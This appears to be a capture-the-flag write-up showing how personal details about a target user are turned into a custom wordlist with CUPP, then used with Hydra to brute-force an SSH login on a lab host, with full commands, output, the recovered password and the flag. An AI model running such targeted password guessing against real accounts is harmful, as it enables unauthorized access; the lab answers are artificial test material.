

CTF CHALLENGE

TDX-Arena: Breaking Hollywood

Ameen Abu Backer - [GitHub](#)

January 14, 2025

Contents

1	CTF Description	2
1.0.1	Overview	2
1.0.2	Challenge Goals	2
2	Enumeration	3
2.0.1	Creating a Custom Wordlist	3
3	Exploitation	4
3.0.1	Brute-Forcing the SSH Service	4
3.0.2	Logging into the Web Server	4
4	Solution	5
4.0.1	The Flag	5
4.0.2	Tools Summary	5
4.0.3	Lessons Learned	5

1 CTF Description

1.0.1 Overview

- The challenge is about obtaining a friend's password for his web server.

1.0.2 Challenge Goals

1. Create a custom wordlist for brute-forcing the SSH service.
2. Execute a brute-force attack against the SSH service.
3. Retrieve the password for the user "hernandez" and log into the web server.
4. Locate the flag on the web server.

Provided Details

```
[+] Initiating web server 172.17.0.27
[+] Creating user hernandez
[*] The user is 1337
[*] Adopting dog named cachorro
[*] Filling coffee 'cupp'
[+] Changing default password
[!] Warning, password not complex enough
[!] Overriding password complexity checks
[+] Opening SSH on port 22
[+] Adding Hollywood effects
[*] Hack Your Way Inside!
[]
```

2 Enumeration

2.0.1 Creating a Custom Wordlist

- Tool Used: CUPP
 - **Purpose:** Generate a personalized wordlist using the provided details about the target .
 - **Command Used:**

```
cupp -i
```
 - The wordlist Saved as `hernandez.txt`.

```
corey@debian:~$ cupp -i

[+] Insert the informations about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: hernandez
> Surname:
> Nickname:
> Birthdate (DDMMYYYY):

> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):

> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):

> Pet's name: cachorro
> Company name:

> Do you want to add some key words about the victim? Y/[N]: n
> Do you want to add special chars at the end of words? Y/[N]: n
> Do you want to add some random numbers at the end of words? Y/[N]:n
> Leet mode? (i.e. leet = 1337) Y/[N]: y

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to hernandez.txt, counting 92 words.
[+] Now load your pistolero with hernandez.txt and shoot! Good luck!
corey@debian:~$ █
```

3 Exploitation

3.0.1 Brute-Forcing the SSH Service

- **Tool Used:** Hydra
 - **Purpose:** Perform a brute-force Dictionary based attack using the wordlist I created using CUPP command to identify the password for the user “hernandez”.
 - **Command Used:**

```
hydra -l hernandez -P hernandez.txt ssh://172.17.0.27
```
 - * **Options Explained:**
 - `-l hernandez`: Specifies the target username.
 - `-P hernandez.txt`: Uses the generated custom wordlist.
 - `ssh://172.17.0.27`: Targets the SSH service on the given server.
 - * **Result:** Successfully retrieved the password for the user “hernandez”.

The password : c4ch0rr0

```
corey@debian:~$ hydra -l hernandez -P hernandez.txt ssh://172.17.0.27
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-14 18:04:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 92 login tries (l:1/p:92), ~6 tries per task
[DATA] attacking ssh://172.17.0.27:22/
[22][ssh] host: 172.17.0.27  login: hernandez  password: c4ch0rr0
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-14 18:04:25
```

3.0.2 Logging into the Web Server

- **Credentials Found:** Username: hernandez, Password: c4ch0rr0

- **Command Used:**

```
ssh hernandez@172.17.0.27
```

- Successfully logged into the server using the discovered credentials.

Successfully retrieved and noted the flag.

4 Solution

4.0.1 The Flag

```
corey@debian:~$ ssh hernandez@172.17.0.27
The authenticity of host '172.17.0.27 (172.17.0.27)' can't be established.
ECDSA key fingerprint is SHA256:9PlNGrH0kG3Q7KdecY5FTZvEvn537kAGJoesqs/47Y.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.17.0.27' (ECDSA) to the list of known hosts.
hernandez@172.17.0.27's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.14.252-195.483.amzn2.x86_64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
-----
Congratulations! The flag is: 0ab3a7a7e0b92736f37c8f6384f345d5
-----
Connection to 172.17.0.27 closed.
```

4.0.2 Tools Summary

Tools Used:

1. **CUPP**: For generating a custom wordlist.
2. **Hydra**: For brute-forcing the SSH service.
3. **SSH**: For connecting to the server.

4.0.3 Lessons Learned

- **Importance of Personalization**: Leveraging personal details for wordlist generation (via CUPP) significantly increases the success rate in brute-forcing.
- **Tool Efficiency**: Tools like Hydra make brute-forcing efficient and effective.